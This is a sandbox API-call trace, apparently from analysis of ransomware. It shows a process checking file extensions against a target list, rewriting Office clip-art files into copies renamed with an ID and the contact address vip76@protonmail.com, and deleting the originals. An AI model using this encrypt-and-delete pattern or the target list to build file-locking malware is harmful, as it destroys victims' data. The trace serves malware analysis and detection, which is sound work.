	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.086] lstrlenW (lpString=".dbf") returned 4
	[0181.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.087] lstrlenW (lpString=".1cd") returned 4
	[0181.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.087] lstrlenW (lpString=".jpg") returned 4
	[0181.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.087] lstrlenW (lpString=".doc") returned 4
	[0181.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.087] lstrlenW (lpString=".docx") returned 5
	[0181.087] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0181.087] lstrlenW (lpString=".pdf") returned 4
	[0181.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.087] lstrlenW (lpString=".xls") returned 4
	[0181.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.087] lstrlenW (lpString=".xlsx") returned 5
	[0181.088] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0181.088] lstrlenW (lpString=".ppt") returned 4
	[0181.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.088] lstrlenW (lpString=".zip") returned 4
	[0181.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.088] lstrlenW (lpString=".rar") returned 4
	[0181.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.088] lstrlenW (lpString=".bz2") returned 4
	[0181.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.088] lstrlenW (lpString=".7z") returned 3
	[0181.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.088] lstrlenW (lpString=".dbf") returned 4
	[0181.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.088] lstrlenW (lpString=".1cd") returned 4
	[0181.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.088] lstrlenW (lpString=".jpg") returned 4
	[0181.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.088] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0181.088] lstrlenW (lpString="J0098497.WMF") returned 12
	[0181.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0181.090] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4970) returned 1
	[0181.090] CloseHandle (hObject=0x4ac) returned 1
	[0181.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220
	[0181.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0181.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0181.091] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.091] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0181.092] GetLastError () returned 0x0
	[0181.092] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0181.107] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0181.108] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.108] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.108] SetEndOfFile (hFile=0x4a8) returned 1
	[0181.108] CloseHandle (hObject=0x4a8) returned 1
	[0181.109] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.109] SetEndOfFile (hFile=0x4ac) returned 1
	[0181.112] CloseHandle (hObject=0x4ac) returned 1
	[0181.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0181.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.113] lstrlenW (lpString=".doc") returned 4
	[0181.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.113] lstrlenW (lpString=".docx") returned 5
	[0181.114] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0181.114] lstrlenW (lpString=".pdf") returned 4
	[0181.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString=".xls") returned 4
	[0181.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.114] lstrlenW (lpString=".xlsx") returned 5
	[0181.114] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0181.114] lstrlenW (lpString=".ppt") returned 4
	[0181.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString=".zip") returned 4
	[0181.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.114] lstrlenW (lpString=".rar") returned 4
	[0181.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString=".bz2") returned 4
	[0181.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString=".7z") returned 3
	[0181.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString=".dbf") returned 4
	[0181.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString=".1cd") returned 4
	[0181.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString=".jpg") returned 4
	[0181.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.114] lstrlenW (lpString=".doc") returned 4
	[0181.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.114] lstrlenW (lpString=".docx") returned 5
	[0181.115] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0181.115] lstrlenW (lpString=".pdf") returned 4
	[0181.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString=".xls") returned 4
	[0181.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.115] lstrlenW (lpString=".xlsx") returned 5
	[0181.115] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0181.115] lstrlenW (lpString=".ppt") returned 4
	[0181.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.115] lstrlenW (lpString=".zip") returned 4
	[0181.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.115] lstrlenW (lpString=".rar") returned 4
	[0181.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString=".bz2") returned 4
	[0181.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString=".7z") returned 3
	[0181.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.115] lstrlenW (lpString=".dbf") returned 4
	[0181.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.115] lstrlenW (lpString=".1cd") returned 4
	[0181.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0181.115] lstrlenW (lpString=".jpg") returned 4
	[0181.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.115] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0181.116] lstrlenW (lpString="J0099145.JPG") returned 12
	[0181.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0181.557] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24759) returned 1
	[0181.557] CloseHandle (hObject=0x5bc) returned 1
	[0181.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220
	[0182.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0182.504] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.504] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.233] GetLastError () returned 0x0
	[0183.233] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x60b7, lpOverlapped=0x0) returned 1
	[0183.260] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x60c0, lpOverlapped=0x0) returned 1
	[0183.261] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.261] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.261] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.262] CloseHandle (hObject=0x5bc) returned 1
	[0183.262] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.262] SetEndOfFile (hFile=0x4ac) returned 1
	[0183.265] CloseHandle (hObject=0x4ac) returned 1
	[0183.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0183.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.266] lstrlenW (lpString=".doc") returned 4
	[0183.266] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.266] lstrlenW (lpString=".docx") returned 5
	[0183.266] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0183.267] lstrlenW (lpString=".pdf") returned 4
	[0183.267] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.267] lstrlenW (lpString=".xls") returned 4
	[0183.267] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.267] lstrlenW (lpString=".xlsx") returned 5
	[0183.267] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0183.267] lstrlenW (lpString=".ppt") returned 4
	[0183.267] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString=".zip") returned 4
	[0183.267] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.267] lstrlenW (lpString=".rar") returned 4
	[0183.267] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.267] lstrlenW (lpString=".bz2") returned 4
	[0183.267] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.267] lstrlenW (lpString=".7z") returned 3
	[0183.267] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString=".dbf") returned 4
	[0183.267] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString=".1cd") returned 4
	[0183.267] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString=".jpg") returned 4
	[0183.267] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.267] lstrlenW (lpString=".doc") returned 4
	[0183.267] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.267] lstrlenW (lpString=".docx") returned 5
	[0183.268] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0183.268] lstrlenW (lpString=".pdf") returned 4
	[0183.268] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.268] lstrlenW (lpString=".xls") returned 4
	[0183.268] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.268] lstrlenW (lpString=".xlsx") returned 5
	[0183.268] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0183.268] lstrlenW (lpString=".ppt") returned 4
	[0183.268] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.268] lstrlenW (lpString=".zip") returned 4
	[0183.268] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.268] lstrlenW (lpString=".rar") returned 4
	[0183.268] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.268] lstrlenW (lpString=".bz2") returned 4
	[0183.268] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.268] lstrlenW (lpString=".7z") returned 3
	[0183.268] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.268] lstrlenW (lpString=".dbf") returned 4
	[0183.268] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.268] lstrlenW (lpString=".1cd") returned 4
	[0183.268] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0183.268] lstrlenW (lpString=".jpg") returned 4
	[0183.268] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.268] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.269] lstrlenW (lpString="J0099148.JPG") returned 12
	[0183.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.278] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18258) returned 1
	[0183.278] CloseHandle (hObject=0x4ac) returned 1
	[0183.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220
	[0183.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.279] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.280] GetLastError () returned 0x0
	[0183.280] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x4752, lpOverlapped=0x0) returned 1
	[0183.282] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0183.283] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.283] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.283] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.284] CloseHandle (hObject=0x5bc) returned 1
	[0183.284] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.284] SetEndOfFile (hFile=0x4ac) returned 1
	[0183.286] CloseHandle (hObject=0x4ac) returned 1
	[0183.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString=".doc") returned 4
	[0183.288] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.288] lstrlenW (lpString=".docx") returned 5
	[0183.288] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.288] lstrlenW (lpString=".pdf") returned 4
	[0183.288] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.288] lstrlenW (lpString=".xls") returned 4
	[0183.288] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.288] lstrlenW (lpString=".xlsx") returned 5
	[0183.288] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.288] lstrlenW (lpString=".ppt") returned 4
	[0183.288] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString=".zip") returned 4
	[0183.288] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.288] lstrlenW (lpString=".rar") returned 4
	[0183.288] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.288] lstrlenW (lpString=".bz2") returned 4
	[0183.288] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.288] lstrlenW (lpString=".7z") returned 3
	[0183.288] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
